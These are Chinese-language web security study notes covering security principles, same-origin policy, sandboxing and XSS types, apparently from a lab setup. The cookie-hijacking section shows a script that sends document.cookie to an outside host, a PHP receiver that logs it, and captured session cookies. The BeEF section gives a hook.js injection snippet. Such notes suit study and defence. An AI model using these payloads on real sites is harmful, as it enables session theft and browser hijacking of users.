一、安全观
三要素:
机密性(Confidentiality):数据内容不能泄露。常用加密技术实现。
完整性(Integrity):数据完整、未被篡改。常用数字签名实现。
可用性(Availability):保护资源“随需而取”。DoS攻击破坏的就是可用性
四原则:
secure by default 原则:1)设立黑名单或白名单;2)最小权限原则;
纵深防御原则:1)在不同层次、不同方面设立安全方案,构成整体;2)在解决根本问题的地方设立针对性的方案
代码数据分离原则:用于防止注入引发的各种安全问题。
不可预测原则:其实现往往用到加密算法,随机数算法等,能有效地对抗基于篡改伪造的攻击。
六威胁
威胁 | 对应安全属性 |
信息泄露 | 机密性 |
篡改 | 完整性 |
拒绝服务 | 可用性 |
伪装 | 认证 |
抵赖 | 不可抵赖 |
提升权限 | 授权 |
二、浏览器安全
浏览器的同源策略:限制不同源的“document"或脚本,对当前“document”读取或设置某些属性。
浏览器根据协议、域名或IP、端口来判断是否同源。
在浏览器中,带有src属性的标签,如<script>、<img>、<iframe>等可以跨域加载资源(实质是浏览器发起了一次GET请求)。但通过src加载的资源,浏览器限制了javascript的权限,使其不能读写返回的内容。
而XMLHttpRequest可以访问来自同源对象的内容,但如无特别设置,一般不能跨域访问资源。
浏览器沙箱
Chrome浏览器将渲染进程用沙箱隔离,网页代码与操作系统通信或浏览器核心进程通信均需通过IPC channel。一定程度上可以防止用户代码破坏系统环境,或用户代码之间相互影响。
恶意网站拦截:浏览器周期性地从服务器端获取最新的恶意网站名单,拦截挂马网站或钓鱼网站。
三、跨站脚本攻击(XSS)
跨站脚本攻击(cross site script)攻击者通过在网页中嵌入恶意代码,从而在用户浏览网页时,控制其浏览器。
常见攻击类型:
3.1、反射型XSS:简单的将攻击者输入的恶意代码“反射”给浏览器,攻击者往往需要诱使用户点击恶意链接。
3.2、存储型XSS:将攻击者输入的恶意代码存储在服务器端,所有访问被篡改网页的用户,都会在其浏览器执行这段代码。
3.3、DOM Based XSS:通过修改页面的DOM节点形成的XSS,如果按照恶意代码是否存储在服务器端,应属于反射型xss。
页面代码
<!DOCTYPE html>
<html>
<body>
<script>
function test(){
var str = document.getElementById("input").value;
document.getElementById("write").innerHTML = "<a href='http://"+str+"' >dom based xss </a>";
}
</script>
<div id="write" ></div>
<input type="text" id="input" value="" />
<input type="button" id="button" value="write" onclick=test() />
</body>
</html>
正常输入:
恶意代码:
点击链接:
3.4、cookie劫持:
注入javascript代码
<script>
new Image().src="http://192.168.75.129/xssCookie.php?cookie="+document.cookie;
</script>
接受cookie的php代码
<?php
$str = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log, $str . "\n");
fclose($log);
?>
语法
fopen(filename,mode,include_path,context)
参数描述
filename
必需。规定要打开的文件或 URL。
mode
必需。规定您请求到该文件/流的访问类型。
可能的值:
"r" (只读方式打开,将文件指针指向文件头)
"r+" (读写方式打开,将文件指针指向文件头)
"w" (写入方式打开,清除文件内容,如果文件不存在则尝试创建之)
"w+" (读写方式打开,清除文件内容,如果文件不存在则尝试创建之)
"a" (写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建之)
"a+" (读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容)
"x" (创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误)
"x+" (创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误)
在 PHP 中,只有一个字符串运算符。
并置运算符 (.) 用于把两个字符串值连接起来。
所获得cookie
security=low; PHPSESSID=p0340qm1q6825vds6d6lpd2ma6; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
3.5、BeEF
启动
$ beef-xss
#或
$ systemctl start beef-xss
*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
● beef-xss.service - beef-xss
Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; vendor preset: disabled)
Active: active (running) since Tue 2020-03-17 21:51:26 EDT; 38min ago
Main PID: 1674 (ruby)
Tasks: 4 (limit: 2312)
Memory: 85.1M
CGroup: /system.slice/beef-xss.service
└─1674 ruby /usr/share/beef-xss/beef
用户浏览器被hook